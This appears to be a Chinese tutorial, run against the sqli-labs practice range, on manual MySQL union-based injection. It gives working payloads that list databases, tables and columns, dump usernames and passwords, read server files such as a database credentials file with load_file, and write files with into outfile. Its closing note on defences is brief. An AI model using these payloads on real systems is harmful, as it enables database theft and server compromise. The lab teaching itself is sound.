web安全之MySQL手工注入的原理讲解和实验分析

news2024/9/28 7:19:28

目录

前提知识

靶场搭建

手工注入

高权限注入

 sql注入之文件读写

基础防御


前提知识

  1. 数据库及sql语句知识,web相关知识。
  2. union合并查询的两个特征:前后查询互不干扰,前后查询的字段可以不同但是数量必须一致。
  3. order by 通过测试来猜解表的列数
  4. 掌握几个系统表中重要表
  5. %20:转义字符空格
  6. . 下一级(数据库,表,字段)
use information_schema;
select * from SCHEMATA;
select table_name from TABLES;
select column_name from COLUMNS;

靶场搭建

环境:win10虚拟机,sqli-labs,phpstudy

手工注入

  • 判断有无注入点:and 1=1;随便输入:报错则有,没有报错则没有
  • 猜解列名数量:order by 数字
  • 判断回显点:
/?id=-1 union select 1,2,3

Your Login name:2
Your Password:3

  • 信息收集
1,version(),database()

 

数据库版本,数据库名字

  • 进行对应的sql注入
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'
union select 1,2,(select group_concat(username,password) from users)

高权限注入

  • 注入条件:高版本,共享mysql服务器,且拥有高权限的注入漏洞
  • 权限介绍:mysql系统数据库下面有四张表(最大权限为user表)
?id=-1%20union%20select%201,user(),3

  •  获取所有的数据库名
?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

 

  • 获取数据库下面的表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='my_data'

  •  查询表中对应的字段名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dept'

查询字段下面的信息

?id=-1%20union%20select%20name,deptno,name%20from%20my_data.dept

 sql注入之文件读写

  • 读写文件的权利

查看my.ini下面的secure_file_priv时。

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

show global variables like '%secure%';

  • bug修复

此时修改完 my.ini文件的配置后发现仍然为NULL,此时只需要重启mysql就行,打开管理员权限的cmd,然后执行下面的命令

net stop mysql
net start mysql

读取文件

使用函数: load_file()

注意:/=\\

?id=-1%20union%20select%201,load_file(%27d:/d.txt%27),3

 

http://localhost:8089/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\phpstudy_pro\\WWW\\sqli-labs-php7-master\\sql-connections\\db-creds.inc%27),3

 报错路径,常见路径,遗留文件,漏洞报错,平台配置文件

  • 写入文件

函数:into outfile(可写入多行,按照格式输出)和into Dumpfile(只能写入一行,且没有输出)

http://localhost:8089/Less-2/?id=-1%20union%20select%201,%27coleak%27,3%20into%20outfile%20%27d:/d2.txt%27%20--+

 

基础防御

  1. 魔术引号
  2. 内置函数
  3. 自定义关键字

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/55916.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决SpringBoot整合Mybatis和Mybatis-Plus不能公用(版本兼容性问题)

1 前言 虽然Mybatis-Plus很好使,可以帮助我们生成CRUD的接口,但是有的情况下我们需要联合其他表进行多表查询,这时候Mybatis可以手写SQL的优势就体现出来了,一般在开发中,很多项目都是Mybatis和Mybatis-Plus公用的&am…

Markdowm使用手册

Markdown使用手册 目录Markdown使用手册一、基础语法1.1 书写各级标题1.2 字体加粗/斜体1.2.1 字体加粗1.2.2 字体倾斜1.3 线条使用1.3.1 删除线1.3.2 高亮线1.3.3 下划线二、插入工具2.1 插入代码2.1.1 插入某一行的代码2.1.2 插入整块的代码2.2 插入链接2.3 插入数学公式2.4 …

1546_AURIX_TC275_CPU子系统_指令耗时以及程序存储接口

全部学习汇总: GreyZhang/g_TC275: happy hacking for TC275! (github.com) 这里接触到了几种测试的方式。其中一个是反复执行同一个命令,看看执行之间的间隔。执行的时候,命令是有一定顺序的。这样,有时候流水线等特性会导致效率…

【Java并发入门】03 互斥锁(上):解决原子性问题

原子性问题的源头是线程切换 Q:如果禁用 CPU 线程切换是不是就解决这个问题了? A:单核 CPU 可行,但到了多核 CPU 的时候,有可能是不同的核在处理同一个变量,即便不切换线程,也有问题。 所以&a…

C++代码基本内存操作及原理

文章目录前言操作系统内存地址空间基本数据类型sizeof运算符指针运算内存分配与回收堆与栈malloc/new与free/delete基本类型的指针操作类定义中的内存使用前言 ​ C凭借其指针变量可以直接操作内存而得到了非常高的效率和程序性能,在一种编程语言里独树一帜。当然&…

网络变压器工厂:了解POE POE+ 网络变压器(网络隔离滤波器)

Hqst盈盛(华强盛)电子导读:这一节给大家分享:POE POE POE 网络变压器(网络滤波器,网络隔离变压器)的相关知识--poe poe 与POE简介及相关标准; 一、网络变压器 POE、 POE 与POE简介 POE 是Power …

Day17-购物车页面-收货地址-把address信息存储到vuex中

1.将address信息存储到vuex中: 我的操作: 1》在 store 目录中,创建用户相关的 vuex 模块,命名为 user.js: ①:新建user.js文件 ②:为user.js编写内容 2》在 store/store.js 模块中&#xff0c…

typora安装和配置PicGo图床

typora安装和配置PicGo图床typora安装和配置PicGo图床typora安装安装picgo图床配置picgo图床图床服务器picgo配置七牛云typora安装和配置PicGo图床 typora安装 windows安装typora 参考:https://www.bilibili.com/read/cv19476097/ m1 mac安装typora比较简单&…

数据结构-栈ArrayDeque的实现

优雅,实在是太优雅了 能把复杂的东西简单化就是功底。 我为何有如此感慨,了解ArrayDeque的实现你就知道,今天我们要讲的是以栈为思想而实现的ArrayDeque,我们都知道栈是先进后出,和队列相反,如下图&#x…

二叉树的中序遍历三种解法(递归+迭代+线索化)

文章目录递归迭代线索二叉树解法传送门: 添加链接描述 给你一颗二叉树,让你实现中序的遍历 递归 递归没什么好说的,直接无脑递归即可,时间复杂度:O(n),空间复杂度:O&am…

搭建环境AI画图stable-diffusion

目录简介环境准备安装conda(方式1)安装conda(方式2,推荐)验证conda安装成功安装stable-diffusion的环境简介 本文旨在记录过程,偶然看见一个AI画图的,体验看看。 stable-diffusion是一个输入简单图片,输出…

【Java难点攻克】「Guava RateLimiter」针对于限流器的入门到实战和源码原理分析

限流器的思路和算法 如果让你来造一个限流器,有啥想法? 漏桶算法 用一个固定大小的队列。比如设置限流为5qps,1s可以接受5个请求;那我们就造一个大小为5的队列,如果队列为满了,就拒绝请求;如…

JRebelXRebel的配置和使用(进阶篇)

JRebel&XRebel的配置和使用嘚吧嘚设置JRebel快捷键XRebel使用嘚吧嘚 之前简单介绍了JRebel&XRebel的安装和使用,不了解的朋友可以补补课😆。 JRebel&XRebel这款插件不仅仅可以用来热部署,所以继续分享一下这款插件的相关使用&a…

12月2日(第四天)

使用myabtis自动生成的时候&#xff0c;发现xml文件只会merge不会覆盖&#xff0c;这时候需要使用插件&#xff1a; <plugin type"org.mybatis.generator.plugins.UnmergeableXmlMappersPlugin" />MyBatis Generator配置文件context元素的defaultModelType属性…

封装window10-21H1踩的坑,无法分析或处理pass[specialize]应答文件

最近在研究封装镜像&#xff0c;无奈公司不给用win11&#xff0c;只能封装win10 2022年全新Windows11系统封装图文教程&#xff08;一&#xff09;定制母盘 - 小鱼儿yr系统 (yrxitong.com) 坑1&#xff0c;封装好出现无法分析或处理pass[specialize]应答文件 解决办法&#x…

Java基础:String类、static关键字、Arrays类、Math类

第一章 String类 1.1 String类概述 概述 java.lang.String类代表字符串。Java程序中所有的字符串文字&#xff08;例如"abc"&#xff09;都可以被看作是实现此类的实例。 类String中包括用于检查各个字符串的方法&#xff0c;比如用于比较字符串&#xff0c;搜索…

[附源码]计算机毕业设计JAVA新冠疫苗线上预约系统

[附源码]计算机毕业设计JAVA新冠疫苗线上预约系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM my…

Web3.0 DApp(去中心化应用程序)设计架构

先来回顾下 Web2.0 应用程序架构&#xff0c;一图胜千言&#xff1a; 图示是对大多数 Web 2.0 应用程序如何工作的一个很好的抽象总结。以一个博客平台为例&#xff1a; 首先&#xff0c;必须有一个地方来存储基本数据&#xff0c;也就是数据库&#xff1b; 其次&#xff0c;…

快速串联 RNN / LSTM / Attention / transformer / BERT / GPT(未完待续)

参考&#xff1a; 李宏毅2021/2022春机器学习课程王树森 RNN & Transformer 教程 文章目录0. 背景&#xff1a;序列数据及相关任务1. 早期序列模型1.1 循环神经网络 RNN1.2 长短期记忆网络 LSTM1.3 改善 RNN/LSTM 的三个技巧1.3.1 通过堆叠扩展为深度模型1.3.2 使用双向模…

使用学校的服务器跑深度学习

&#x1f31e;欢迎来到深度学习的世界 &#x1f308;博客主页&#xff1a;卿云阁 &#x1f48c;欢迎关注&#x1f389;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f31f;本文由卿云阁原创&#xff01; &#x1f320;本阶段属于练气阶段&#xff0c;希望各位仙友顺利完…